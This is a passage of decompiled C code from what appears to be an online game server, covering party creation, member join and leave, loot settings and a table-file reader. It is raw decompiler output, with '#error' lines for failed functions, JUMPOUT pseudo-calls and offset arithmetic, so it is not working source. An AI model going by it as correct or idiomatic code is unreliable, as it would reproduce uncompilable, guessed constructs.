LootingType; result = 1; } else { result = 0; } return result; } //----- (005E0D50) -------------------------------------------------------- void __thiscall CLooting::reset(CLooting *this) { this->m_ItemLootingType[0] = 0; this->m_ItemLootingType[1] = 0; this->m_ItemLootingType[2] = 0; this->m_ItemLootingType[3] = 0; this->m_ItemLootingType[4] = 0; this->m_Looter = -1; } //----- (005E0D70) -------------------------------------------------------- unsigned int __thiscall CLooting::GetLooter(CLooting *this) { return this->m_Looter; } //----- (005E0D80) -------------------------------------------------------- void __thiscall CLooting::SetLooter(CLooting *this, unsigned int val) { this->m_Looter = val; } //----- (005E0D90) -------------------------------------------------------- bool __thiscall CParty::PARTY_SLOT::isEmptyParty(CParty::PARTY_SLOT *this) { bool result; // al@2 if ( this->isRaidTypeParty == 1 ) result = 0; else result = this->NumOfMember == 0; return result; } //----- (005E0DB0) -------------------------------------------------------- unsigned __int16 __thiscall CParty::GetEmptyParty(CParty *this) { int v1; // esi@1 CParty::PARTY_SLOT *v2; // edi@1 signed int v3; // ebx@1 unsigned __int16 result; // ax@5 v1 = this->m_EmptyPartySearchPoint; v2 = this->m_Array; v3 = 0; while ( v2[v1].isRaidTypeParty == 1 || v2[v1].NumOfMember ) { ++v3; v1 = (v1 + 1) % 4000; if ( v3 >= 4000 ) return -1; } v2[v1].dungeonExpiredInfo._isCountdown = 0; result = v1; this->m_EmptyPartySearchPoint = (v1 + 1) % 4000; return result; } //----- (005E0E20) -------------------------------------------------------- int __thiscall CParty::IsValidPartyNo(CParty *this, int nPartyNo) { int result; // eax@2 if ( nPartyNo == 65535 ) result = 0; else result = nPartyNo < 4000; return result; } //----- (005E0E40) -------------------------------------------------------- void __thiscall CParty::PartyDelete(CParty *this, unsigned __int16 nPartyNo) { int v2; // eax@2 CParty::PARTY_SLOT *v3; // edx@2 if ( nPartyNo < 0xFA0u ) { v2 = nPartyNo; v3 = &this->m_Array[v2]; if ( v3->NumOfMember || v3->isRaidTypeParty == 1 ) { v3->NumOfMember = 0; this->m_Array[v2].isRaidTypeParty = 0; --this->m_NumOfParty; } } } //----- (005E0E80) -------------------------------------------------------- unsigned __int16 __thiscall CParty::PartyGetNo(CParty *this, unsigned int nCharNo) { CParty::PARTY_SLOT *v2; // edi@1 signed int v3; // ebp@1 char *v4; // ebx@1 int v5; // esi@4 int v6; // ecx@4 char *v7; // edx@5 v2 = this->m_Array; v3 = 0; v4 = (char *)this->m_Array->Members; while ( 1 ) { if ( v4[185] == 1 || v2->NumOfMember ) { v5 = v2->NumOfMember; v6 = 0; if ( v5 > 0 ) break; } LABEL_8: ++v3; ++v2; v4 += 212; if ( v3 >= 4000 ) return -1; } v7 = v4; while ( *(_DWORD *)v7 != nCharNo ) { ++v6; v7 += 32; if ( v6 >= v5 ) goto LABEL_8; } return v3; } //----- (005E0EF0) -------------------------------------------------------- CParty::PARTY_WORK_RESULT __thiscall CParty::CreateRaidParty(CParty *this, unsigned __int16 *rPartyNo) { CParty *v2; // esi@1 unsigned __int16 v3; // ax@1 CParty::PARTY_WORK_RESULT result; // eax@2 int v5; // ecx@5 int v6; // edx@5 v2 = this; v3 = CParty::GetEmptyParty(this); if ( v3 == -1 ) { result = 65535; } else { if ( v3 < 0xFA0u ) { v5 = v3; v6 = (int)&v2->m_Array[v5]; if ( *(_BYTE *)(v6 + 189) == 1 || *(_BYTE *)v6 ) { result = 65532; } else { *(_BYTE *)v6 = 0; v2->m_Array[v5].Members[0].MemberInform.Member.chrregnum = -1; v2->m_Array[v5].Members[1].MemberInform.Member.chrregnum = -1; v2->m_Array[v5].Members[2].MemberInform.Member.chrregnum = -1; v2->m_Array[v5].Members[3].MemberInform.Member.chrregnum = -1; v2->m_Array[v5].Members[4].MemberInform.Member.chrregnum = -1; v2->m_Array[v5].NumOfMember = 0; v2->m_Array[v5].isRaidTypeParty = 1; ++v2->m_NumOfParty; *rPartyNo = v3; result = 65528; } } else { result = 65529; } } return result; } //----- (005E0F90) -------------------------------------------------------- int __thiscall CParty::MemberGetNo(CParty *this, unsigned __int16 nPartyNo, unsigned int nCharNo) { int result; // eax@2 CParty::PARTY_SLOT *v4; // edx@3 int v5; // ecx@3 int v6; // edx@4 if ( nPartyNo < 0xFA0u ) { v4 = &this->m_Array[nPartyNo]; v5 = v4->NumOfMember; result = 0; if ( v5 <= 0 ) { LABEL_7: result = -2; } else { v6 = (int)v4->Members; while ( *(_DWORD *)v6 != nCharNo ) { ++result; v6 += 32; if ( result >= v5 ) goto LABEL_7; } } } else { result = -1; } return result; } //----- (005E0FE0) -------------------------------------------------------- bool __thiscall CParty::IsItemDiceGameIng(CParty *this, unsigned __int16 nPartyNo) { bool result; // al@2 if ( nPartyNo < 0xFA0u ) result = this->m_Array[nPartyNo].IsBelongItemDiceGameIng; else result = 0; return result; } //----- (005E1010) -------------------------------------------------------- void __thiscall CParty::SetItemDiceGameMode(CParty *this, unsigned __int16 nPartyNo, bool IsMode) { if ( nPartyNo < 0xFA0u ) this->m_Array[nPartyNo].IsBelongItemDiceGameIng = IsMode; } //----- (005E1040) -------------------------------------------------------- int __thiscall CParty::IsPartyMaster(CParty *this, unsigned __int16 nPartyNo, unsigned int nCharNo) { int result; // eax@4 if ( nPartyNo >= 0xFA0u || nPartyNo == -1 || nCharNo == -1 ) result = 0; else result = this->m_Array[nPartyNo].Members[0].MemberInform.Member.chrregnum == nCharNo; return result; } //----- (005E1080) -------------------------------------------------------- CParty::PARTY_SLOT *__thiscall CParty::p_defaultslot(CParty *this) { return &CParty::p_def; } //----- (005E1090) -------------------------------------------------------- CParty::PARTY_SLOT *__thiscall CParty::operator__(CParty *this, unsigned __int16 prt) { CParty::PARTY_SLOT *result; // eax@2 if ( prt < 0xFA0u ) result = &this->m_Array[prt]; else result = &CParty::p_def; return result; } //----- (005E10C0) -------------------------------------------------------- void __thiscall CLooting::CLooting(CLooting *this) { this->m_ItemLootingType[0] = 0; this->m_ItemLootingType[1] = 0; this->m_ItemLootingType[2] = 0; this->m_ItemLootingType[3] = 0; this->m_ItemLootingType[4] = 0; this->m_Looter = -1; } //----- (005E10E0) -------------------------------------------------------- int __thiscall PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_WORD *)(this + 6) = *(_WORD *)(a2 + 6); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); *(_BYTE *)(this + 24) = *(_BYTE *)(a2 + 24); *(_BYTE *)(this + 25) = *(_BYTE *)(a2 + 25); *(_BYTE *)(this + 26) = *(_BYTE *)(a2 + 26); *(_BYTE *)(this + 27) = *(_BYTE *)(a2 + 27); return result; } //----- (005E1130) -------------------------------------------------------- unsigned __int16 __thiscall CParty::MemberJoin(CParty *this, unsigned __int16 nPartyNo, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMember) { unsigned int v3; // ebx@1 CParty::PARTY_SLOT *v4; // ebp@1 unsigned __int16 result; // ax@3 char v6; // al@4 int v7; // edi@6 int v8; // edx@6 int v9; // eax@7 int v10; // edi@13 CParty *thisa; // [sp+8h] [bp-4h]@1 v3 = 212 * nPartyNo; v4 = this->m_Array; thisa = this; if ( this->m_Array[v3 / 0xD4].isRaidTypeParty == 1 || v4[v3 / 0xD4].NumOfMember ) { v6 = v4[v3 / 0xD4].NumOfMember; if ( (unsigned __int8)v6 < 5u ) { v7 = (unsigned __int8)v6; v8 = 0; if ( (signed int)(unsigned __int8)v6 <= 0 ) { LABEL_10: if ( CParty::PartyGetNo(this, pMember->Member.chrregnum) == -1 ) { v10 = (int)((char *)v4 + 32 * v7); *(_DWORD *)(v10 + v3 + 4) = pMember->Member.chrregnum; *(_WORD *)(v10 + v3 + 8) = pMember->Member.zonecharhandle; *(_WORD *)(v10 + v3 + 10) = pMember->Member.wmcharhandle; *(_QWORD *)(v10 + v3 + 12) = *(_QWORD *)&pMember->Member.charname.n4_name[0]; *(_QWORD *)(v10 + v3 + 20) = *(_QWORD *)&pMember->Member.charname.n4_name[8]; *(_BYTE *)(v10 + v3 + 28) = pMember->Member.level; *(_BYTE *)(v10 + v3 + 29) = pMember->Member.flag; *(_BYTE *)(v10 + v3 + 30) = pMember->Member.charclass; *(_BYTE *)(v10 + v3 + 31) = pMember->ZoneMerchineNo; ++thisa->m_Array[v3 / 0xD4].NumOfMember; result = nPartyNo; } else { result = -2; } } else { v9 = (int)v4[v3 / 0xD4].Members; while ( *(_DWORD *)v9 != pMember->Member.chrregnum ) { ++v8; v9 += 32; if ( v8 >= v7 ) goto LABEL_10; } result = -3; } } else { result = -5; } } else { result = -6; } return result; } //----- (005E1230) -------------------------------------------------------- void __thiscall CParty::PARTY_SLOT::PARTY_MEMBER_SLOT::PARTY_MEMBER_SLOT(CParty::PARTY_SLOT::PARTY_MEMBER_SLOT *this) { PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::PROTO_PARTY_MEMBER_AND_ZONEMERCHINE(&this->MemberInform); } //----- (005E1240) -------------------------------------------------------- int __thiscall CParty::PARTY_SLOT::PARTY_MEMBER_SLOT::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_WORD *)(this + 6) = *(_WORD *)(a2 + 6); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); *(_BYTE *)(this + 24) = *(_BYTE *)(a2 + 24); *(_BYTE *)(this + 25) = *(_BYTE *)(a2 + 25); *(_BYTE *)(this + 26) = *(_BYTE *)(a2 + 26); *(_BYTE *)(this + 27) = *(_BYTE *)(a2 + 27); *(_DWORD *)(this + 28) = *(_DWORD *)(a2 + 28); return result; } //----- (005E12A0) -------------------------------------------------------- unsigned __int16 __thiscall CParty::MemberJoin(CParty *this, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMaster, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMember, unsigned __int16 nPartyNo) { unsigned __int16 v4; // bx@1 CParty *v5; // esi@1 unsigned __int16 result; // ax@3 unsigned __int16 v7; // ax@4 int v8; // edi@10 CParty::PARTY_SLOT *v9; // ecx@10 v4 = nPartyNo; v5 = this; if ( nPartyNo != -1 || (v4 = CParty::GetEmptyParty(this), v4 != -1) ) { v7 = CParty::PartyGetNo(v5, pMaster->Member.chrregnum); if ( v7 == -1 ) { if ( CParty::PartyGetNo(v5, pMember->Member.chrregnum) == -1 ) { v8 = v4; v5->m_Array[v8].NumOfMember = 2; PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::operator_((int)v5->m_Array[v8].Members, (int)pMaster); PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::operator_((int)&v5->m_Array[v8].Members[1], (int)pMember); v5->m_Array[v8].Members[2].MemberInform.Member.chrregnum = -1; v5->m_Array[v8].Members[3].MemberInform.Member.chrregnum = -1; v5->m_Array[v8].Members[4].MemberInform.Member.chrregnum = -1; v9 = v5->m_Array; ++v5->m_NumOfParty; v9[v8].m_Looting.m_ItemLootingType[0] = 0; v9[v8].m_Looting.m_ItemLootingType[1] = 0; v9[v8].m_Looting.m_ItemLootingType[2] = 0; v9[v8].m_Looting.m_ItemLootingType[3] = 0; v9[v8].m_Looting.m_ItemLootingType[4] = 0; v9[v8].m_Looting.m_Looter = -1; v5->m_Array[v8].m_Looting.m_Looter = pMaster->Member.chrregnum; v5->m_Array[v8].dungeonExpiredInfo._isCountdown = 0; result = v4; } else { result = -2; } } else { if ( v7 == v4 ) result = CParty::MemberJoin(v5, v7, pMember); else result = -7; } } else { result = -1; } return result; } //----- (005E13B0) -------------------------------------------------------- int __thiscall CParty::MemberLeave(CParty *this, unsigned __int16 nPartyNo, unsigned int LeaveMember) { unsigned int v3; // edx@1 CParty *v4; // edi@1 bool v5; // bl@1 CParty::PARTY_SLOT *v6; // ecx@1 int v7; // eax@1 int result; // eax@3 int v9; // ebp@4 int v10; // ecx@5 int v11; // eax@11 int v12; // ecx@11 int v13; // esi@12 int v14; // ecx@12 int v15; // eax@13 int v16; // edx@15 int nPartyNoa; // [sp+Ch] [bp+4h]@12 v3 = nPartyNo; v4 = this; v5 = this->m_Array[v3].isRaidTypeParty; v6 = &this->m_Array[v3]; v7 = v6->NumOfMember; if ( v5 == 1 || v6->NumOfMember ) { v9 = 0; if ( v7 <= 0 ) goto LABEL_22; v10 = (int)v6->Members; while ( *(_DWORD *)v10 != LeaveMember ) { ++v9; v10 += 32; if ( v9 >= v7 ) return 3; } if ( v9 < v7 ) { v11 = v7 - 1; v12 = v9; if ( v9 < v11 ) { v13 = v3 * 212 + 32 * v9; v14 = v11 - v9; nPartyNoa = v11; do { v15 = (int)((char *)v4->m_Array + v13); *(_DWORD *)(v15 + 4) = *(unsigned int *)((char *)&v4->m_Array->Members[1].MemberInform.Member.chrregnum + v13); *(_WORD *)(v15 + 8) = *(_WORD *)(v15 + 40); *(_WORD *)(v15 + 10) = *(_WORD *)(v15 + 42); *(_DWORD *)(v15 + 12) = *(_DWORD *)(v15 + 44); *(_DWORD *)(v15 + 16) = *(_DWORD *)(v15 + 48); *(_DWORD *)(v15 + 20) = *(_DWORD *)(v15 + 52); *(_DWORD *)(v15 + 24) = *(_DWORD *)(v15 + 56); *(_BYTE *)(v15 + 28) = *(_BYTE *)(v15 + 60); *(_BYTE *)(v15 + 29) = *(_BYTE *)(v15 + 61); *(_BYTE *)(v15 + 30) = *(_BYTE *)(v15 + 62); *(_BYTE *)(v15 + 31) = *(_BYTE *)(v15 + 63); v13 += 32; --v14; *(_DWORD *)(v15 + 32) = *(_DWORD *)(v15 + 64); } while ( v14 ); v12 = nPartyNoa; } *(_DWORD *)(&v4->m_Array->NumOfMember + 32 * (v12 + 1) + v3 * 212) = 0; --v4->m_Array[v3].NumOfMember; *(unsigned int *)((char *)&v4->m_Array->Members[v4->m_Array[v3].NumOfMember].MemberInform.Member.chrregnum + v3 * 212) = -1; v16 = (int)&v4->m_Array[v3]; if ( *(_BYTE *)(v16 + 189) == 1 ) { result = 0; } else { if ( *(_BYTE *)v16 > 1u ) { result = v9 == 0; } else { *(_BYTE *)v16 = 0; --v4->m_NumOfParty; result = 2; } } } else { LABEL_22: result = 3; } } else { result = 4; } return result; } //----- (005E1500) -------------------------------------------------------- #error "5E1500: undefined or illegal type '#593' (funcsize=123)" //----- (005E1690) -------------------------------------------------------- bool __thiscall CParty::SwapPartyMember(CParty *this, unsigned __int16 nPartyNo_Left, int nSlotNo_Left, unsigned __int16 nPartyNo_Right, int nSlotNo_Right) { CParty *v5; // ebp@1 CParty::PARTY_SLOT *v6; // edx@9 const void *v7; // ebx@9 int v8; // esi@9 bool result; // al@9 CParty::PARTY_SLOT::PARTY_MEMBER_SLOT _temp; // [sp+8h] [bp-24h]@1 unsigned int v11; // [sp+28h] [bp-4h]@1 v11 = (unsigned int)&_temp ^ __security_cookie; v5 = this; if ( nPartyNo_Left >= 0xFA0u || nPartyNo_Left == -1 || nPartyNo_Right >= 0xFA0u || nPartyNo_Right == -1 || nSlotNo_Left < 0 || nSlotNo_Left >= 5 || nSlotNo_Right < 0 || nSlotNo_Right >= 5 ) { result = 0; } else { v6 = this->m_Array; v7 = &this->m_Array[nPartyNo_Left].Members[nSlotNo_Left]; memcpy(&_temp, v7, sizeof(_temp)); v8 = 212 * nPartyNo_Right + 32 * nSlotNo_Right; CParty::PARTY_SLOT::PARTY_MEMBER_SLOT::operator_((int)v7, (int)((char *)v6->Members + v8)); CParty::PARTY_SLOT::PARTY_MEMBER_SLOT::operator_((int)((char *)v5->m_Array->Members + v8), (int)&_temp); result = 1; } return result; } //----- (005E1770) -------------------------------------------------------- void __thiscall CParty::PARTY_SLOT::PARTY_SLOT(CParty::PARTY_SLOT *this) { CParty::PARTY_SLOT *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this->Members, 0x20u, 5, (void (__thiscall *)(void *))CParty::PARTY_SLOT::PARTY_MEMBER_SLOT::PARTY_MEMBER_SLOT, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->m_Looting.m_ItemLootingType[0] = 0; v1->m_Looting.m_ItemLootingType[1] = 0; v1->m_Looting.m_ItemLootingType[2] = 0; v1->m_Looting.m_ItemLootingType[3] = 0; v1->m_Looting.m_ItemLootingType[4] = 0; v1->m_Looting.m_Looter = -1; v1->dungeonExpiredInfo._isCountdown = 0; *(_DWORD *)&v1->dungeonExpiredInfo._currDungeonMapName.n3_name[8] = 0; *(_DWORD *)&v1->dungeonExpiredInfo._currDungeonMapName.n3_name[4] = 0; *(_DWORD *)&v1->dungeonExpiredInfo._currDungeonMapName.n3_name[0] = 0; } //----- (005E17D0) -------------------------------------------------------- void __thiscall CParty::PARTY_SLOT::_PARTY_SLOT(CParty::PARTY_SLOT *this) { _eh_vector_destructor_iterator_( this->Members, 0x20u, 5, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (005E17F0) -------------------------------------------------------- void *__thiscall CParty::PARTY_SLOT::operator_(void *this, int a2) { void *result; // eax@1 int v3; // esi@1 int v4; // edx@1 int v5; // ebp@1 signed int v6; // ecx@1 result = this; *(_BYTE *)this = *(_BYTE *)a2; v3 = a2 + 24; v4 = (int)((char *)this + 16); v5 = a2 - (_DWORD)this; v6 = 5; do { *(_DWORD *)(v4 - 12) = *(_DWORD *)(v3 - 20); *(_WORD *)(v4 - 8) = *(_WORD *)(v3 - 16); *(_WORD *)(v4 - 6) = *(_WORD *)(v3 - 14); *(_DWORD *)(v4 - 4) = *(_DWORD *)(v3 - 12); *(_DWORD *)v4 = *(_DWORD *)(v4 + v5); *(_DWORD *)(v4 + 4) = *(_DWORD *)(v3 - 4); *(_DWORD *)(v4 + 8) = *(_DWORD *)v3; *(_BYTE *)(v4 + 12) = *(_BYTE *)(v3 + 4); *(_BYTE *)(v4 + 13) = *(_BYTE *)(v3 + 5); *(_BYTE *)(v4 + 14) = *(_BYTE *)(v3 + 6); *(_BYTE *)(v4 + 15) = *(_BYTE *)(v3 + 7); *(_DWORD *)(v4 + 16) = *(_DWORD *)(v3 + 8); v3 += 32; v4 += 32; --v6; } while ( v6 ); *((_DWORD *)result + 41) = *(_DWORD *)(a2 + 164); *((_DWORD *)result + 42) = *(_DWORD *)(a2 + 168); *((_DWORD *)result + 43) = *(_DWORD *)(a2 + 172); *((_DWORD *)result + 44) = *(_DWORD *)(a2 + 176); *((_DWORD *)result + 45) = *(_DWORD *)(a2 + 180); *((_DWORD *)result + 46) = *(_DWORD *)(a2 + 184); *((_BYTE *)result + 188) = *(_BYTE *)(a2 + 188); *((_BYTE *)result + 189) = *(_BYTE *)(a2 + 189); *((_BYTE *)result + 192) = *(_BYTE *)(a2 + 192); *((_BYTE *)result + 193) = *(_BYTE *)(a2 + 193); *(_DWORD *)((char *)result + 194) = *(_DWORD *)(a2 + 194); *(_DWORD *)((char *)result + 198) = *(_DWORD *)(a2 + 198); *(_DWORD *)((char *)result + 202) = *(_DWORD *)(a2 + 202); *((_DWORD *)result + 52) = *(_DWORD *)(a2 + 208); return result; } //----- (005E1900) -------------------------------------------------------- #error "5E1900: undefined or illegal type '#593' (funcsize=36)" //----- (005E1980) -------------------------------------------------------- void __thiscall CParty::CParty(CParty *this) { CParty::Init(this); } //----- (005E1990) -------------------------------------------------------- char __thiscall ORTable::ort_ReadColumnHeader(ORTable *this, ORTokenReader *token, TokenArgument *targ) { ORTokenReader *v3; // ebx@1 ORTable *v4; // esi@1 char *v5; // eax@1 ORColumnHeader *v6; // eax@38 int v7; // eax@39 int v8; // ebp@40 int v9; // ebp@40 ORTokenReader *v10; // ecx@42 unsigned __int16 *v12; // [sp-8h] [bp-40h]@7 unsigned __int16 v13; // [sp-4h] [bp-3Ch]@7 char *v14; // [sp-4h] [bp-3Ch]@42 __int16 hnd; // [sp+10h] [bp-28h]@1 ORTokenReader *thisa; // [sp+14h] [bp-24h]@1 int i; // [sp+18h] [bp-20h]@1 TokenArgument *v18; // [sp+1Ch] [bp-1Ch]@1 char type[4]; // [sp+20h] [bp-18h]@2 int v20; // [sp+24h] [bp-14h]@2 int v21; // [sp+28h] [bp-10h]@2 int v22; // [sp+2Ch] [bp-Ch]@2 int v23; // [sp+30h] [bp-8h]@2 unsigned int v24; // [sp+34h] [bp-4h]@1 v3 = token; v24 = (unsigned int)&hnd ^ __security_cookie; v4 = this; thisa = token; v18 = targ; this->ort_RecordLength = 0; i = 0; v5 = ORTokenReader::ortr_ReadString(token, BIS_EXCLUDEBRACE); if ( v5 ) { while ( 1 ) { v23 = 0; v22 = 0; v21 = 0; v20 = 0; *(_DWORD *)type = 0; strncpy(type, v5, 0x14u); ORToken::ort_ToLower((ORToken *)type); if ( *(_DWORD *)type == *(_DWORD *)ORTable::ort_Index && v20 == dword_14F0DB7C && v21 == dword_14F0DB80 && v22 == dword_14F0DB84 && v23 == dword_14F0DB88 ) { v13 = 1; v12 = (unsigned __int16 *)&hnd; goto LABEL_38; } if ( *(_DWORD *)type != *(_DWORD *)ORTable::ort_String || v20 != dword_14F0DBCC || v21 != dword_14F0DBD0 || v22 != dword_14F0DBD4 || v23 != dword_14F0DBD8 ) { if ( *(_DWORD *)type == *(_DWORD *)ORTable::ort_Byte && v20 == dword_14F0DBF4 && v21 == dword_14F0DBF8 && v22 == dword_14F0DBFC && v23 == dword_14F0DC00 ) { v13 = 3; v12 = (unsigned __int16 *)&hnd; goto LABEL_38; } if ( *(_DWORD *)type == *(_DWORD *)ORTable::ort_Word && v20 == dword_14F0DC58 && v21 == dword_14F0DC5C && v22 == dword_14F0DC60 && v23 == dword_14F0DC64 ) { v13 = 4; v12 = (unsigned __int16 *)&hnd; goto LABEL_38; } if ( (*(_DWORD *)type != *(_DWORD *)ORTable::ort_Dwrd || v20 != dword_14F0DBE0 || v21 != dword_14F0DBE4 || v22 != dword_14F0DBE8 || v23 != dword_14F0DBEC) && (*(_DWORD *)type != *(_DWORD *)ORTable::ort_Dword || v20 != dword_14F0DBB8 || v21 != dword_14F0DBBC || v22 != dword_14F0DBC0 || v23 != dword_14F0DBC4) ) { v14 = "Undefined column type"; LABEL_46: v10 = thisa; goto LABEL_47; } v13 = 5; } else { v13 = 2; } v12 = (unsigned __int16 *)&hnd; LABEL_38: v6 = ORColumnHeaderList::orchl_AllocObject(&v4->ort_HeaderList, v12, v13); if ( !v6 ) { v14 = "Too many columns or memory leak"; goto LABEL_46; } v3 = thisa; v7 = v6->vfptr->ortr_SetLength(v6, thisa, v18); if ( v7 < 0 ) return 0; v8 = i; v4->ort_RecordLength += v7; v9 = v8 + 1; i = v9; v5 = ORTokenReader::ortr_ReadString(v3, BIS_EXCLUDEBRACE); if ( !v5 ) { if ( !v9 ) break; return 1; } } } v14 = "At least one column needed"; v10 = v3; LABEL_47: ORTokenReader::ortr_SetError(v10, v14); return 0; } // 14F0DB7C: using guessed type int dword_14F0DB7C; // 14F0DB80: using guessed type int dword_14F0DB80; // 14F0DB84: using guessed type int dword_14F0DB84; // 14F0DB88: using guessed type int dword_14F0DB88; // 14F0DBB8: using guessed type int dword_14F0DBB8; // 14F0DBBC: using guessed type int dword_14F0DBBC; // 14F0DBC0: using guessed type int dword_14F0DBC0; // 14F0DBC4: using guessed type int dword_14F0DBC4; // 14F0DBCC: using guessed type int dword_14F0DBCC; // 14F0DBD0: using guessed type int dword_14F0DBD0; // 14F0DBD4: using guessed type int dword_14F0DBD4; // 14F0DBD8: using guessed type int dword_14F0DBD8; // 14F0DBE0: using guessed type int dword_14F0DBE0; // 14F0DBE4: using guessed type int dword_14F0DBE4; // 14F0DBE8: using guessed type int dword_14F0DBE8; // 14F0DBEC: using guessed type int dword_14F0DBEC; // 14F0DBF4: using guessed type int dword_14F0DBF4; // 14F0DBF8: using guessed type int dword_14F0DBF8; // 14F0DBFC: using guessed type int dword_14F0DBFC; // 14F0DC00: using guessed type int dword_14F0DC00; // 14F0DC58: using guessed type int dword_14F0DC58; // 14F0DC5C: using guessed type int dword_14F0DC5C; // 14F0DC60: using guessed type int dword_14F0DC60; // 14F0DC64: using guessed type int dword_14F0DC64; //----- (005E1C50) -------------------------------------------------------- void __thiscall TokenArgument::_TokenArgument(TokenArgument *this) { TokenArgument *v1; // esi@1 v1 = this; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->ignore); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->brace); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->comment); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->exchange); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->delimiter); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)v1); } //----- (005E1D00) -------------------------------------------------------- char __thiscall OptionReader::or_ExecColumnName(OptionReader *this, ORTokenReader *token) { ORTable *v2; // eax@1 char result; // al@2 v2 = this->or_CurrentTable; if ( v2 ) { result = ORTable::ort_ReadColumnName(v2, token) && ORTokenReader::ortr_isEOL(token); } else { ORErrorMessage::operator_(&this->or_Argument.errmsg, "ColumnName without table"); result = 0; } return result; } //----- (005E1D50) -------------------------------------------------------- char __thiscall OptionReader::or_ExecColumnType(OptionReader *this, ORTokenReader *token) { ORTable *v2; // eax@1 char result; // al@2 v2 = this->or_CurrentTable; if ( v2 ) { result = ORTable::ort_ReadColumnHeader(v2, token, &this->or_Argument); } else { ORErrorMessage::operator_(&this->or_Argument.errmsg, "ColumnHeader without table"); result = 0; } return result; } //----- (005E1D80) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 687D74: using guessed type int (__stdcall *List_ORRecord____vftable_[3])(__int16 hnd); //----- (005E1DA0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ORRecord *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x808u); this->vfptr->l_Free(this, v3); } return 1; } //----- (005E1DF0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ORRecord *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x808u); this->vfptr->l_Free(this, v3); } return 1; } //----- (005E1E40) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 687D90: using guessed type int (__stdcall *List_ORTable____vftable_[3])(__int16 hnd); //----- (005E1E60) -------------------------------------------------------- char __thiscall OptionReader::or_ExecTable(OptionReader *this, ORTokenReader *token) { OptionReader *v2; // edi@1 unsigned __int16 v3; // ax@1 char *v4; // ecx@1 int v5; // esi@2 char *v7; // eax@7 v2 = this; v3 = this->or_TableList.l_Finger.empty; v4 = (char *)&this->or_TableList; if ( v3 == -1 ) v5 = 0; else v5 = (*(int (__stdcall **)(_WORD))(*(_DWORD *)v4 + 4))(v3); v2->or_CurrentTable = (ORTable *)v5; if ( !v5 ) { ORErrorMessage::operator_(&v2->or_Argument.errmsg, "Too many tables"); return 0; } v7 = ORTokenReader::ortr_ReadString(token, BIS_EXCLUDEBRACE); if ( !v7 ) return 0; *(_DWORD *)(v5 + 16) = 0; *(_DWORD *)(v5 + 12) = 0; *(_DWORD *)(v5 + 8) = 0; *(_DWORD *)(v5 + 4) = 0; *(_DWORD *)v5 = 0; strncpy((char *)v5, v7, 0x14u); return 1; } //----- (005E1EE0) -------------------------------------------------------- void __thiscall ListArray::_ListArray(ListArray *this) { void *v1; // eax@1 void *v2; // esi@2 v1 = this->la_Array; if ( this->la_Array ) { v2 = (char *)v1 - 4; _eh_vector_destructor_iterator_(v1, 0x808u, *((_DWORD *)v1 - 1), (void (__thiscall *)(void *))ORRecord::_ORRecord); operator delete__(v2); } } //----- (005E1F10) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ORRecord *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0x808u); return 1; } // 5E1F25: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (005E1F40) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ORRecord *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = 